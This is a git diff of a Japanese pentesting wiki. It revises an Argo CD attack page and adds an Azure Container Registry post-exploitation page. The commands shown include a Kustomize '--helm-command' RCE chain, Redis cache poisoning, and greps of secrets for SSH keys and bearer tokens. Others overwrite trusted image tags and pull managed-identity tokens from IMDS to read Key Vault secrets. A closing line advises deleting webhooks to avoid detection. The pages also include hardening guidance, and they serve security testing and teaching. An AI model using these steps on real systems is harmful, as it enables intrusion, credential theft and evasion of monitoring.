diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc
deleted file mode 100644
index 1ee1f84fa..000000000
Binary files a/scripts/__pycache__/translator.cpython-312.pyc and /dev/null differ
diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md
index a39e17601..641822e45 100644
--- a/src/pentesting-ci-cd/argocd-security.md
+++ b/src/pentesting-ci-cd/argocd-security.md
@@ -4,16 +4,16 @@
 
 ## 基本情報
 
-[Argo CD](https://argo-cd.readthedocs.io/) は、Kubernetes 向けの GitOps 継続的デリバリープラットフォームです。Git リポジトリを監視し、Helm、Kustomize、Jsonnet、または config management plugins などのツールで Kubernetes manifests をレンダリングし、Git に保存された desired state と live cluster state を照合します。
+[Argo CD](https://argo-cd.readthedocs.io/) は、Kubernetes 向けの GitOps continuous delivery platform です。Git repository を監視し、Helm、Kustomize、Jsonnet、config management plugins などの tools を使って Kubernetes manifests を render し、live cluster state と Git に保存された desired state を reconcile します。
 
-攻撃者の視点では、Argo CD は Kubernetes credentials を持つ **deployment engine** として扱ってください。Argo CD の有効な compromise は、次のような結果につながる可能性があります。
+攻撃者の観点では、Argo CD を **Kubernetes credentials を持つ deployment engine** として扱います。Argo CD の compromise に成功すると、以下につながる可能性があります。
 
-- Private Git repositories と repository credentials へのアクセス。
-- Argo CD が使用する Kubernetes cluster secrets へのアクセス。
+- private Git repositories と repository credentials への access。
+- Argo CD が使用する Kubernetes cluster secrets への access。
 - `argocd-repo-server` における manifest generation code execution。
-- trusted Git repositories、Argo CD applications、または cache manipulation を通じた unauthorized な Kubernetes object deployment。
+- trusted Git repositories、Argo CD applications、または cache manipulation を介した、認証されていない Kubernetes objects の deployment。
 
-## Architecture & Interesting Components
+## Architecture と Interesting Components
 
 一般的な Kubernetes objects と services:
 ```bash
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
 ```
 興味深いサービス:
 
-- **`argocd-server`**: public API、web UI、CLI API、authentication と authorization。
-- **`argocd-application-controller`**: desired state と live state を比較し、その後 Kubernetes に resources を適用する。
-- **`argocd-repo-server`**: repositories を clone し、Git data を cache し、Helm/Kustomize/Jsonnet/plugins を実行して manifests を生成する。デフォルトの gRPC port は **8081**。
-- **`argocd-redis`**: application、manifest、Git reference data の cache。デフォルトの Redis port は **6379**。
-- **`argocd-applicationset-controller`**: Git、SCM、clusters、pull requests などの generators から Argo CD `Application` objects を生成する。
+- **`argocd-server`**: public API、Web UI、CLI API、authentication および authorization。
+- **`argocd-application-controller`**: desired state と live state を比較し、その後 Kubernetes にリソースを適用します。
+- **`argocd-repo-server`**: repository を clone し、Git data を cache し、Helm/Kustomize/Jsonnet/plugins を実行して manifests を生成します。デフォルトの gRPC port は **8081** です。
+- **`argocd-redis`**: application、manifest、Git reference data の cache。デフォルトの Redis port は **6379** です。
+- **`argocd-applicationset-controller`**: Git、SCM、clusters、pull requests などの generators から Argo CD の `Application` objects を生成します。
 
-compromised pod または internal network segment から、internal reachability を確認する:
+侵害された pod または内部ネットワークセグメントから、内部への到達性を確認します:
 ```bash
 nc -vz <argocd-server> 443
 nc -vz <argocd-repo-server> 8081
 nc -vz <argocd-redis> 6379
 ```
-## Public API / UI Attacks
+## Public API / UI 攻撃
 
-Argo CDのcredentialsまたは公開されたinstanceがあるなら、通常のAPI surfaceから始める:
+Argo CD credentials を持っているか、公開された instance がある場合は、通常の API surface から始めます:
 ```bash
 argocd login <argocd-server>
 argocd account get-user-info
@@ -49,15 +49,15 @@ argocd repo list
 argocd cluster list
 argocd admin settings rbac can <subject> <action> <resource> <object>
 ```
-有用なattack paths:
+有用な攻撃経路:
 
-- **Application write access**: `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings or sync optionsを変更して、Argo CDにattacker-controlled manifestsをdeployさせる。
-- **Project misconfiguration**: `AppProject` objectsは、広い `sourceRepos`、広い `destinations`、unsafeな `clusterResourceWhitelist`、または弱いnamespace restrictionsを許可できる。
-- **Repository credential abuse**: repository secrets、GitHub App credentials、SSH keys、tokensにより、trusted reposへのpushやmalicious dependenciesの追加が可能になる。
-- **Cluster credential abuse**: cluster secretsには、Argo CDがtarget clustersへdeployするために使うbearer tokensやexec-provider configurationが含まれている場合がある。
-- **Local admin / project tokens**: 長寿命のArgo CD tokensは、revokeされるか期限切れになるまでAPI経由で再利用できる。
+- **Application write access**: `source.repoURL`、`source.path`、Helm values、Kustomize options、plugin settings、または sync options を変更し、Argo CD に attacker-controlled manifests を deploy させる。
+- **Project misconfiguration**: `AppProject` objects により、広範な `sourceRepos`、広範な `destinations`、unsafe な `clusterResourceWhitelist`、または脆弱な namespace restrictions が許可される可能性がある。
+- **Repository credential abuse**: repository secrets、GitHub App credentials、SSH keys、tokens により、trusted repos への push や malicious dependencies の追加が可能になる場合がある。
+- **Cluster credential abuse**: cluster secrets には、Argo CD が target clusters に deploy するために使用する bearer tokens または exec-provider configuration が含まれている場合がある。
+- **Local admin / project tokens**: long-lived Argo CD tokens は、revoke または expire されない限り、API 経由で再利用できる。
 
-cluster read accessがある場合は、Kubernetesからconfigurationを列挙する:
+cluster read access がある場合は、Kubernetes から configuration を列挙する:
 ```bash
 kubectl get applications.argoproj.io -A -o yaml
 kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,65 +65,65 @@ kubectl get applicationsets.argoproj.io -A -o yaml
 kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
 kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
 ```
-## Trusted Git Repository Abuse
+## Trusted Git Repository の悪用
 
-Argo CD が信頼している repository に push できる場合、通常は何がデプロイされるかに影響を与えられます。影響は `AppProject` の境界と、application controller が使う service account の権限に依存します。
+Argo CD から信頼されている repository に push できる場合、通常はデプロイされる内容に影響を与えられます。影響範囲は、`AppProject` の境界と application controller が使用する service account の権限によって異なります。
 
-一般的な payload の場所:
+一般的な payload の配置場所:
 
-- application path 配下の生の Kubernetes YAML。
-- Helm chart templates と `values.yaml`。
+- application path 配下の Raw Kubernetes YAML。
+- Helm chart の templates と `values.yaml`。
 - Kustomize overlays、remote bases、generators。
 - Jsonnet または config management plugin の入力。
-- `Application` objects を作成または更新する ApplicationSet generator files。
+- `Application` オブジェクトを作成または更新する ApplicationSet generator files。
 
-app が automated sync、pruning、self-heal、sync windows、または manual approvals を使っているか確認します:
+app が automated sync、pruning、self-heal、sync windows、または manual approvals を使用しているか確認します:
 ```bash
 kubectl get applications.argoproj.io -A \
 -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
 ```
-## `argocd-repo-server` の直接的な悪用
+## `argocd-repo-server` の直接的な Abuse
 
-公開されている Argo CD API だけが attack surface だと仮定しないでください。内部の Argo CD コンポーネントは `argocd-repo-server` と gRPC 経由で通信します。任意の pod が repo-server に到達できる場合、攻撃者が制御する内部リクエストによって、通常 `argocd-server` によって強制されるチェックを bypass できる可能性があります。
+公開 Argo CD API だけが攻撃対象領域だと考えてはいけません。内部の Argo CD コンポーネントは、gRPC 経由で `argocd-repo-server` と通信します。任意の Pod が repo-server に到達できる場合、攻撃者が制御する内部リクエストによって、通常は `argocd-server` が適用するチェックを回避できる可能性があります。
 
-実践的な確認事項:
+実践的なチェック:
 ```bash
 kubectl get svc -n argocd argocd-repo-server -o yaml
 kubectl get endpoints -n argocd argocd-repo-server -o wide
 nc -vz <argocd-repo-server> 8081
 ```
-興味深い兆候:
+注目すべき兆候:
 
-- repo-server の gRPC endpoint が非 Argo CD pod から到達可能。
-- NetworkPolicies が欠落しているか、deny ingress なしで allow-list egress のみになっている。
-- repo-server が custom config management plugins、decryption tools、または複数 tenant の repository content にアクセスできる。
-- Redis が非 Argo CD pod から到達可能で、credentials が利用可能、または不要な場合に cache の inspection や tampering ができる。
+- repo-server の gRPC endpoint に、Argo CD 以外の pods から到達できる。
+- NetworkPolicies が存在しない、または ingress を拒否せず egress の allow-list のみを設定している。
+- repo-server が、custom config management plugins、decryption tools、または複数の tenant の repository content にアクセスできる。
+- Redis に Argo CD 以外の pods から到達でき、credentials が利用可能または不要な場合、cache の inspection や tampering が可能になる。
 
-## Kustomize Options 経由の Unauthenticated Repo-Server RCE
+## Unauthenticated Repo-Server RCE via Kustomize Options
 
-2026年7月、Synacktiv は、攻撃者が内部 gRPC service に到達できる場合の Argo CD の `repo-server` における unauthenticated code execution chain を公開した。攻撃は、`/repository.RepoServerService/GenerateManifest` への direct access と、攻撃者制御の `KustomizeOptions` を悪用する。
+2026年7月、Synacktiv は、攻撃者が内部 gRPC service に到達できる場合に、Argo CD の `repo-server` で unauthenticated code execution を可能にする chain を公開した。この攻撃では、`/repository.RepoServerService/GenerateManifest` への direct access と、攻撃者が制御する `KustomizeOptions` を悪用する。
 
-危険な primitive は、repo-server に攻撃者制御の repository content を clone させ、Helm support 付きで Kustomize を実行させることだ:
+危険な primitive は、repo-server に攻撃者が制御する repository content を clone させ、Helm support を有効にした Kustomize を実行させることだ:
 ```bash
 kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
 ```
-Helm processing をトリガーするために必要な最小の悪意ある Kustomize input:
+最小限の悪意ある Kustomize input で Helm processing をトリガーする必要があります：
 ```yaml
 helmCharts:
 - name: pwn
 version: 0.0.1
 ```
-なぜこれが動くのか:
+なぜこれが機能するのか：
 
-- `argocd-repo-server` は rendering の前に repository を clone する。
-- `--helm-command ./payload.sh` は cloned repository を基準に相対解決される。
-- attacker が rendered repository と Kustomize build options を制御できるなら、code execution に shell metacharacter injection は不要。
+- `argocd-repo-server` は rendering の前に repository を clone します。
+- `--helm-command ./payload.sh` は cloned repository を基準に相対的に解決されます。
+- attacker が rendered repository と Kustomize build options を制御できる場合、shell metacharacter injection は code execution に必須ではありません。
 
-Synacktiv の 2026年7月1日の disclosure 時点では、この issue には official fix も CVE もないと報告されていた。まずは network-exposure issue として扱うこと: exploitation には internal repo-server gRPC port への reachability が必要。
+Synacktiv が 2026 年 7 月 1 日に disclosure した時点では、この issue に公式な fix や CVE は存在しないと報告されていました。まず network-exposure issue として扱ってください：exploitation には、internal repo-server gRPC port への到達性が必要です。
 
 ## Redis Cache Poisoning to Deploy Manifests
 
-`argocd-repo-server` で code execution ができた後、または valid credentials を使って Redis に direct access した後は、Redis-backed cache entries を調べる。Argo CD は一般に gzip-compressed JSON values を保存する。
+`argocd-repo-server` で code execution が発生した後、または有効な credentials で Redis に直接 access した後は、Redis-backed cache entries を調査します。Argo CD は通常、gzip-compressed JSON values を保存します。
 
 興味深い key prefixes:
 ```text
@@ -132,20 +132,20 @@ git-refs|...   # Git branch/ref to commit mappings
 app|...        # application resource/cache data
 cluster|...    # cluster cache information
 ```
-Synacktiv によって説明された cache poisoning attack は、2 つの state を悪用します。
+Synacktivが説明したcache poisoning attackは、2つのstateを悪用します。
 
-1. 対象の `mfst|...` manifest cache entry を変更して、attacker-controlled な Kubernetes manifest を含める。
-2. 関連する `git-refs|...` mapping を変更して、Argo CD に branch が移動したと誤認させ、その後 cached revision に再度 reconcile させる。
+1. 関連する`mfst|...` manifest cache entryを変更し、attacker-controlled Kubernetes manifestを含める。
+2. 関連する`git-refs|...` mappingを変更して、Argo CDにbranchが移動したと認識させ、その後cached revisionへreconcileさせる。
 
 Impact:
 
-- Auto Sync が有効な場合、Argo CD は poisoned された cached manifest を自動的に apply する可能性があります。
-- Auto Sync が無い場合でも、ユーザーが application を手動で sync した際に payload が apply される可能性があります。
-- 最終的な impact は、target application の destination と、Argo CD に付与された Kubernetes permissions によって制限されます。
+- Auto Syncが有効な場合、Argo CDはpoisoned cached manifestを自動的にapplyする可能性があります。
+- Auto Syncがない場合でも、ユーザーが手動でapplicationをsyncするとpayloadがapplyされる可能性があります。
+- 最終的なimpactは、target applicationのdestinationと、Argo CDが利用できるKubernetes permissionsによって制限されます。
 
 ## ApplicationSet Attacks
 
-ApplicationSet は特に sensitive です。なぜなら、generator output から `Application` objects を作成または更新するからです。
+ApplicationSetは、generator outputから`Application` objectsを作成または更新するため、特に影響を受けやすくなっています。
 
 Review:
 ```bash
@@ -154,41 +154,41 @@ kubectl get appprojects.argoproj.io -A -o yaml
 ```
 興味深いパターン:
 
-- 攻撃者が書き込み可能なファイルを読み取る Git generators で、app names、paths、projects、destinations を制御できる。
-- public repositories の Pull request generators で、trusted されていない contributors が generated applications に影響を与えられる。
+- attacker-writable files を読み取り、app names、paths、projects、または destinations を制御する Git generators。
+- untrusted contributors が生成される applications に影響を与えられる、public repositories 用の pull request generators。
 - broad な destination clusters/namespaces を許可する template fields。
-- `sourceRepos: ["*"]` や broad な `destinations` を許可する AppProjects。
+- `sourceRepos: ["*"]` または broad な `destinations` を許可する AppProjects。
 - automated sync と pruning を継承する generated applications。
 
 ## Post-Exploitation
 
-Argo CD pod shell からは、次を優先:
+Argo CD pod shell からは、次を優先します:
 ```bash
 env
 cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
 find /var/run/secrets /app/config -type f -maxdepth 4 2>/dev/null
 mount | grep -E 'secret|token|config'
 ```
-Useful objectives:
+有用な objectives:
 
-- `REDIS_PASSWORD` や Redis TLS/client material を盗む。
-- マウントされた secrets や Argo CD Kubernetes secrets から repository credentials を抽出する。
+- `REDIS_PASSWORD` または Redis TLS/client material を盗む。
+- mounted secrets または Argo CD Kubernetes secrets から repository credentials を抽出する。
 - Argo CD が使用する cluster credentials を特定する。
-- 生成された manifests と、注入された secrets を含む可能性のある plugin output を読む。
-- custom plugins、SOPS、Helm secrets、Vault plugins、または cloud CLIs が decryption keys と cloud credentials を露出していないか確認する。
+- injected secrets が含まれている可能性のある generated manifests と plugin output を読む。
+- custom plugins、SOPS、Helm secrets、Vault plugins、または cloud CLIs が decryption keys や cloud credentials を公開していないか確認する。
 
 ## Detection & Hardening
 
-Important checks:
+重要な確認事項:
 
-- NetworkPolicies で `argocd-repo-server` の port **8081** と Redis port **6379** を制限し、想定された Argo CD components だけが到達できるようにする。
-- Helm deployments では、network policies が実際に作成されることを確認する。Argo CD Helm chart values は historically、component の network policy creation を disabled にしていた。
-- `argocd-server` を authenticated entry point として維持する。内部 services は任意の workloads から到達できてはいけない。
-- 未使用の config management tools と plugins を無効化する。
+- `argocd-repo-server` の port **8081** と Redis port **6379** を NetworkPolicies で制限し、想定される Argo CD components のみがアクセスできるようにする。
+- Helm deployments では、network policies が実際に作成されていることを確認する。Argo CD Helm chart の values では、component network policy の作成が歴史的に disabled になっている。
+- `argocd-server` を authenticated entry point として維持する。内部 services は任意の workloads から到達できないようにする。
+- 使用していない config management tools と plugins を disable する。
 - `AppProject` の `sourceRepos`、`destinations`、namespace permissions、cluster-scoped resources を制限する。
-- 低権限の Argo CD user が再利用を引き起こせるような広い repository credentials の保存を避ける。
-- repo-server requests、Kustomize build options、plugin executions、Redis writes、そして `mfst|` / `git-refs|` keys への予期しない access を監視する。
-- compromise 後は Argo CD local users、project tokens、repository credentials、cluster credentials を rotate する。
+- 権限の低い Argo CD user が再利用を引き起こせる場所に、広範な repository credentials を保存しない。
+- repo-server requests、Kustomize build options、plugin executions、Redis writes、および `mfst|` / `git-refs|` keys への予期しないアクセスを監視する。
+- compromise 後は、Argo CD local users、project tokens、repository credentials、cluster credentials を rotate する。
 
 Useful commands:
 ```bash
@@ -197,15 +197,15 @@ kubectl get networkpolicy -A | grep -i argocd
 kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
 kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
 ```
-## CodeQL における Static Analysis Note: Typed API Requests
+## CodeQLにおけるTyped API RequestsのStatic Analysisに関する注意点
 
-Go services で gRPC/REST handlers を使う場合、raw input が typed request objects に unmarshal された後は、default の CodeQL remote sources では flow を見逃すことがあります。Argo CD-style の services に有用な model は次のとおりです:
+gRPC/REST handlersを使用するGo servicesでは、raw inputがtyped request objectsにunmarshalされた後、defaultのCodeQL remote sourcesではflowsを見落とす場合があります。Argo CD-style servicesでは、次のようなmodelが有用です。
 
-- `Server` や `Service` のような receiver type.
-- First parameter は `context.Context`.
-- Second parameter は typed request object.
+- `Server`や`Service`などのReceiver type。
+- 最初のparameterは`context.Context`。
+- 2番目のparameterはtyped request object。
 
-その second parameter を remote source として model し、`exec.Command` / `exec.CommandContext` の arguments に custom sinks を追加します。これにより、internal API request fields から command execution helpers への flow を見つけやすくなります。
+2番目のparameterをremote sourceとしてmodel化し、`exec.Command` / `exec.CommandContext`のargumentsに対するcustom sinksを追加します。これにより、internal API request fieldsからcommand execution helpersに至るflowsを見つけやすくなります。
 
 ## References
 
@@ -217,3 +217,4 @@ Go services で gRPC/REST handlers を使う場合、raw input が typed request
 - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
 - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
 - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
index 52b7c1b91..ed71bf4d6 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
@@ -6,4 +6,8 @@
 az-azure-ai-foundry-post-exploitation.md
 {{#endref}}
 
+{{#ref}}
+az-container-registry-post-exploitation.md
+{{#endref}}
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md
new file mode 100644
index 000000000..fdc769665
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md
@@ -0,0 +1,87 @@
+# Az - Container Registry Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Azure Container Registry
+
+この service の詳細については、以下を確認してください。
+
+{{#ref}}
+../az-services/az-container-registry.md
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
+
+ACR の management-plane access を持つ identity は、その access を **再利用可能な Docker credentials** に変換できます。**admin user** が無効化されているものの、principal が `registries/write` も持っている場合は、それを有効化して passwords を取得し、`<registry>.azurecr.io` に対して直接 authenticate します。
+```bash
+az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
+az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
+az acr credential show -n <registry-name>
+docker login <registry-name>.azurecr.io -u <username> -p <password>
+```
+これは、取得した credentials を Azure CLI の外部で再利用し、admin account が無効化されるか passwords がローテーションされるまで、registry content の **list、pull、push、overwrite、場合によっては delete** を実行できるため有用です。
+
+### `Microsoft.ContainerRegistry/registries/pull/read`
+
+pull access は、image 内の **repository reconnaissance** と **secret hunting** に使用します。最終的な container configuration と過去の filesystem layers の両方を確認してください。ある layer でコピーされた files は、後から削除されても recoverable な場合があります。
+```bash
+az acr repository list -n <registry-name>
+az acr repository show-tags -n <registry-name> --repository <repository> --detail
+docker pull <registry-name>.azurecr.io/<repository>:<tag>
+
+container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
+docker cp "$container_id":/ ./extracted_container
+docker rm "$container_id"
+docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
+dive <registry-name>.azurecr.io/<repository>:<tag>
+```
+高価値なターゲットには、**environment variables**、**application configs**、**deployment scripts**、**certificates**、**access tokens**、**connection strings**などがあります。layersを確認する際のアイデアをさらに得るには、Docker forensicsのページを参照してください。
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/push/write`
+
+Push accessにより、攻撃者は**trusted repositoriesをpoison**したり、`latest`、`prod`、`stable`などの**mutable tagsをoverwrite**したりできます。digestではなくtagを使用してdeployを続けるworkloadは、次回のdeployment、scale-out event、またはrestart時に攻撃者のimageをpullする可能性があります。
+```bash
+# Retag an existing local image for the target ACR
+
+docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+
+# If your workstation architecture differs from the target runtime, build for the consumer platform first
+
+docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+```
+タグを置き換える前に、downstream workload で実際に使用されている repositories と tags を確認してください。**Digest-pinned** の consumer（`@sha256:...`）は、tag ベースの consumer よりも redirect がはるかに困難です。
+
+### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
+
+downstream container workload で使用される **image を置き換え**、その workload を **restart** の両方が可能な場合、悪意のある entrypoint は対象 container の **network および managed identity context** 内で実行されます。そこから image は IMDS に token を要求し、その workload identity から到達可能な Azure resources にアクセスできます。
+```bash
+TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
+curl -H "Authorization: Bearer $TOKEN" \
+'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
+az container restart --resource-group <resource-group> --name <container-name>
+```
+これは ACR tag overwrite を **code execution**、**secret theft**、または **lateral movement** に変えます。変更された tag を信頼し、有用な identity を公開しているあらゆる container consumer 内で実行可能です。
+
+### Related privesc path: ACR Tasks managed identities
+
+`Microsoft.ContainerRegistry/registries/tasks/write` と `Microsoft.ContainerRegistry/registries/runs/write` も持っている場合は、ACR privesc path に移行し、task の managed identity を直接 abuse します：
+
+{{#ref}}
+../az-privilege-escalation/az-container-registry-privesc.md
+{{#endref}}
+
+## References
+
+- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
+- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
+- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
+- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
+- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md
index ed7012beb..c3aa14a53 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md
@@ -4,11 +4,11 @@
 
 ## 基本情報
 
-Azure Container Registry (ACR) は、Azure cloud 内で **container images を保存、管理、アクセス** できる安全な private registry です。複数の Azure services とシームレスに統合され、スケールに応じた自動 build および deployment workflow を提供します。geo-replication や vulnerability scanning のような機能により、ACR は containerized applications に対して enterprise-grade の security と compliance を確保するのに役立ちます。
+Azure Container Registry (ACR) は、**Azure cloud に container images を保存、管理、アクセスできる** secure な private registry です。複数の Azure services とシームレスに統合され、大規模な automated build and deployment workflows を提供します。geo-replication や vulnerability scanning などの機能により、ACR は containerized applications の enterprise-grade security と compliance の確保に役立ちます。
 
 ### Permissions
 
-以下は、Container Registry に対して付与できる **異なる permissions** です [docs によると](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)：
+Container Registry に付与できる[docs に記載された異なる permissions](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) は次のとおりです。
 
 - Access Resource Manager
 - Create/delete registry
@@ -18,23 +18,23 @@ Azure Container Registry (ACR) は、Azure cloud 内で **container images を
 - Change policies
 - Sign images
 
-また、割り当て可能な **built-in roles** もあり、**custom roles** を作成することも可能です。
+割り当て可能な**built-in roles**も存在し、**custom roles**を作成することも可能です。
 
-![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
+![registry、image、data、policies、signing actions を管理するための Azure Container Registry built-in roles permissions matrix](/images/registry_roles.png)
 
 ### Authentication
 
 > [!WARNING]
-> registry 名に大文字が含まれていても、login、push、pull では常に **小文字** を使うことが非常に重要です。
+> registry name に uppercase letters が含まれている場合でも、login、push、pull images には必ず **lowercase letters** を使用することが非常に重要です。
 
-ACR に authenticate する方法は 4 つあります：
+ACR への authenticate 方法は 4 つあります。
 
-- **With Entra ID**: これは ACR への authenticate の **default** な方法です。ACR への authenticate に **`az acr login`** コマンドを使います。このコマンドは **credentials** を **`~/.docker/config.json`** ファイルに **保存** します。さらに、**cloud shell** のように docker socket へアクセスできない環境からこのコマンドを実行している場合は、**`--expose-token`** フラグを使って ACR に authenticate するための **token** を取得できます。その後、authenticate するには user name として `00000000-0000-0000-0000-000000000000` を使い、次のようにします: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
-- **With an admin account**: admin user は default では disabled ですが、enable すると registry に対する full permissions を持つ admin account の **username** と **password** で registry に access できるようになります。これは一部の Azure services が使うため、今でも supported です。この user には **2 passwords** が作成され、どちらも有効です。`az acr update -n <acrName> --admin-enabled true` で enable できます。username は通常 registry 名であり（`admin` ではありません）、注意してください。
-- **With a token**: registry に access するために、特定の **`scope map`**（permissions）を持つ **token** を作成できます。その後、token 名を username とし、生成された password のいずれかを使って `docker login -u <registry-name> -p <password> <registry-url>` で registry に authenticate できます
-- **With a Service Principal**: **service principal** を作成し、image を pull するために **`AcrPull`** のような role を割り当てることができます。その後、SP appId を username、生成された secret を password として使い、**registry に login** できるようになります。
+- **With Entra ID**: これは ACR への authenticate に使用する**default**の方法です。ACR への authenticate に **`az acr login`** command を使用します。この command は **credentials** を **`~/.docker/config.json`** file に**保存**します。さらに、**cloud shell** のように docker socket にアクセスできない environment からこの command を実行している場合は、**`--expose-token`** flag を使用して ACR への authenticate に使う **token** を取得できます。その後、authenticate するには username として `00000000-0000-0000-0000-000000000000` を使用する必要があります。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
+- **With an admin account**: admin user は default で disabled ですが、有効化すると、registry に対する full permissions を持つ admin account の **username** と **password** で registry にアクセスできるようになります。一部の Azure services がこれを使用するため、現在もサポートされています。この user 用に **2 passwords** が作成され、どちらも有効であることに注意してください。`az acr update -n <acrName> --admin-enabled true` で有効化できます。username は通常 registry name であり、`admin` ではないことに注意してください。
+- **With a token**: registry にアクセスするため、特定の **`scope map`** (permissions) を持つ **token** を作成できます。その後、token の name を username として使用し、生成された passwords のいずれかを使って `docker login -u <registry-name> -p <password> <registry-url>` で registry に authenticate できます。
+- **With a Service Principal**: **service principal** を作成し、images を pull するための **`AcrPull`** のような role を割り当てることができます。その後、SP appId を username、生成された secret を password として使用し、**registry に login** できます。
 
-registry への access を持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) の example script:
+registry に対する access 権限を持つ SP を生成するための、[docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) にある example script:
 ```bash
 #!/bin/bash
 ACR_NAME=$containerRegistry
@@ -49,13 +49,13 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
 echo "Service principal ID: $USER_NAME"
 echo "Service principal password: $PASSWORD"
 ```
-### Encryption
+### 暗号化
 
-**Premium SKU** のみが、イメージおよびその他のアーティファクトに対する **at rest での encryption** をサポートします。
+**Premium SKU** のみ、イメージやその他の artifact の **encryption at rest** をサポートします。
 
 ### Networking
 
-**Premium SKU** のみが **private endpoints** をサポートします。その他は **public access** のみサポートします。public endpoint の形式は `<registry-name>.azurecr.io` で、private endpoint の形式は `<registry-name>.privatelink.azurecr.io` です。このため、registry の名前は Azure 全体で一意でなければなりません。
+**Premium SKU** のみ、**private endpoints** をサポートします。それ以外の SKU は **public access** のみをサポートします。public endpoint の形式は `<registry-name>.azurecr.io`、private endpoint の形式は `<registry-name>.privatelink.azurecr.io` です。このため、registry の名前はすべての Azure で一意でなければなりません。
 
 ### Microsoft Defender for Cloud
 
@@ -63,27 +63,27 @@ echo "Service principal password: $PASSWORD"
 
 ### Soft-delete
 
-**soft-delete** 機能により、指定された日数内であれば **deleted registry** を **recover** できます。この機能は **default では disabled** です。
+**soft-delete** 機能を使用すると、指定した日数以内であれば **deleted registry を recover** できます。この機能はデフォルトで **disabled** になっています。
 
 ### Webhooks
 
-registry 内に **webhooks** を **create** することができます。この webhook では、**push または delete action が行われるたびに request が送信される URL** を指定する必要があります。さらに、Webhooks では scope を指定して、影響を受ける repositories (images) を示すことができます。たとえば、'foo:\*' は repository 'foo' 配下の events を意味します。
+registry 内に **webhooks を create** できます。この webhook では、**push または delete action が実行されるたびに request が送信される URL** を指定する必要があります。さらに、Webhooks では、影響を受ける repositories（images）を指定するための scope を設定できます。たとえば、`foo:*` は repository `foo` 配下の events を意味します。
 
-攻撃者の視点では、registry で **any action を実行する前に** これを確認し、必要であれば一時的に削除して、検知されるのを避けるのが有用です。
